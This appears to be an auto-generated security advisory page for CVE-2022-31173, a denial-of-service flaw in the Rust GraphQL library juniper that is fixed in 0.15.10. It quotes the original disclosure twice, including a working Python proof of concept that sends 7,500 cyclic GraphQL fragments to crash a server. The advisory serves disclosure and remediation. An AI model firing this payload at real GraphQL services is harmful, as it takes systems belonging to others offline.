CVE-2022-31173: Juniper Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-4rx6-g5vg-5f3j
CVSS 7.5
CWE-400 CWE-674
Published
Advisory Summary

CVE-2022-31173 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Juniper libraries in the crates.io ecosystem. The issue involves juniper is vulnerable to @dos graphql nested fragments overflow. Remediation is available by upgrading affected packages to version 0.15.10.

CVE-2022-31173 at a Glance

CVE Identifier CVE-2022-31173
GHSA Identifier GHSA-4rx6-g5vg-5f3j
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Juniper
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2022-31173

To remediate this vulnerability, upgrade all affected Juniper dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

juniper fixed: 0.15.10
Upgrade juniper to 0.15.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for juniper

How to Check if You Are Affected

To determine whether your application is affected by CVE-2022-31173, inspect your project dependencies for Juniper:

inspect dependencies for juniper

Analyze the terminal output to locate any version of Juniper in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.15.10), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Juniper, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### GraphQL behaviour Nested fragment in GraphQL might be quite hard to handle depending on the implementation language. Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion. ```graphql # Infinite loop example query { ...a } fragment a on Query { ...b } fragment b on Query { ...a } ``` ### POC TLDR With max_size being the number of nested fragment generated. At max_size=7500, it should instantly raise: ![](https://i.imgur.com/wXbUx8l.png) However, with a lower size, you will overflow the memory after some iterations. ### Reproduction steps (Juniper) ``` git clone https://github.com/graphql-rust/juniper.git cd juniper ``` Save this POC as poc.py ```python import requests import time import json from itertools import permutations print('=== Fragments POC ===') url = 'http://localhost:8080/graphql' max_size = 7500 perms = [''.join(p) for p in permutations('abcefghijk')] perms = perms[:max_size] fragment_payloads = '' for i, perm in enumerate(perms): next_perm = perms[i+1] if i < max_size-1 else perms[0] fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}' payload = {'query':'query{\n ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None} headers = { 'Content-Type': 'application/json', } try: response = requests.request('POST', url, headers=headers, json=payload) print(response.text) except requests.exceptions.ConnectionError: print('Connection closed, POC worked.') ``` ``` cargo run [in separate shell] python3 poc.py ``` ### Credits [@Escape-Technologies](https://escape.tech) @c3b5aw @MdotTIM @karimhreda

CVE-2022-31173 Affected Juniper Versions

1 component(s)
Fixed Versions:
0.15.10
Product / Package Ecosystem Affected Versions Fixed Version
juniper
crates.io
< 0.15.10
0.15.10

References

Frequently Asked Questions

What is CVE-2022-31173?
CVE-2022-31173 is a security vulnerability in Juniper involving Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow under CWE-400: Uncontrolled Resource Consumption.
Which Juniper versions are affected?
Affected versions include releases prior to 0.15.10 across affected packages: juniper.
What version fixes CVE-2022-31173?
Upgrading to 0.15.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is juniper affected?
Yes, juniper is affected in releases prior to 0.15.10. Upgrade your dependency to 0.15.10 or later.
What is the CVSS score of CVE-2022-31173?
CVE-2022-31173 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2022-31173?
CVE-2022-31173 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check crates.io dependencies for CVE-2022-31173?
Run the dependency tree command: 'inspect dependencies for juniper'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4rx6-g5vg-5f3j",
  "modified" : "2022-07-29T22:29:22Z",
  "published" : "2022-07-29T22:29:22Z",
  "aliases" : [ "CVE-2022-31173" ],
  "summary" : "Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow",
  "details" : "### GraphQL behaviour\n\nNested fragment in GraphQL might be quite hard to handle depending on the implementation language.\nSome language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.\n\n```graphql\n# Infinite loop example\nquery {\n    ...a\n}\n\nfragment a on Query {\n    ...b\n}\n\nfragment b on Query {\n    ...a\n}\n```\n\n### POC TLDR\nWith max_size being the number of nested fragment generated.\nAt max_size=7500, it should instantly raise:\n\n![](https://i.imgur.com/wXbUx8l.png)\n\nHowever, with a lower size, you will overflow the memory after some iterations.\n\n### Reproduction steps (Juniper)\n\n```\ngit clone https://github.com/graphql-rust/juniper.git\ncd juniper\n```\n\nSave this POC as poc.py\n\n```python\nimport requests\nimport time\nimport json\nfrom itertools import permutations\n\nprint('=== Fragments POC ===')\n\nurl = 'http://localhost:8080/graphql'\n\nmax_size = 7500\nperms = [''.join(p) for p in permutations('abcefghijk')]\nperms = perms[:max_size]\n\nfragment_payloads = ''\nfor i, perm in enumerate(perms):\n    next_perm = perms[i+1] if i < max_size-1 else perms[0]\n    fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'\n\npayload = {'query':'query{\\n  ...' + perms[0] + '\\n}' + fragment_payloads,'variables':{},'operationName':None}\n\nheaders = {\n  'Content-Type': 'application/json',\n}\n\ntry:\n    response = requests.request('POST', url, headers=headers, json=payload)\n    print(response.text)\nexcept requests.exceptions.ConnectionError:\n    print('Connection closed, POC worked.')\n```\n\n```\ncargo run\n[in separate shell] python3 poc.py\n```\n\n### Credits\n\n[@Escape-Technologies](https://escape.tech)\n\n@c3b5aw \n@MdotTIM \n@karimhreda \n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "juniper"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.15.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/graphql-rust/juniper/security/advisories/GHSA-4rx6-g5vg-5f3j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2022-31173"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/graphql-rust/juniper/commit/2b609ee057be950e3454b69fadc431d120e407bb"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/graphql-rust/juniper/commit/8d28cdba6eb10f53490ba41d1b5cb40506c2de22"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/graphql-rust/juniper"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/graphql-rust/juniper/blob/juniper-v0.15.10/juniper/CHANGELOG.md#01510-2022-07-28"
  }, {
    "type" : "WEB",
    "url" : "https://rustsec.org/advisories/RUSTSEC-2022-0038.html"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-674" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2022-07-29T22:29:22Z",
    "nvd_published_at" : "2022-08-01T19:15:00Z"
  }
}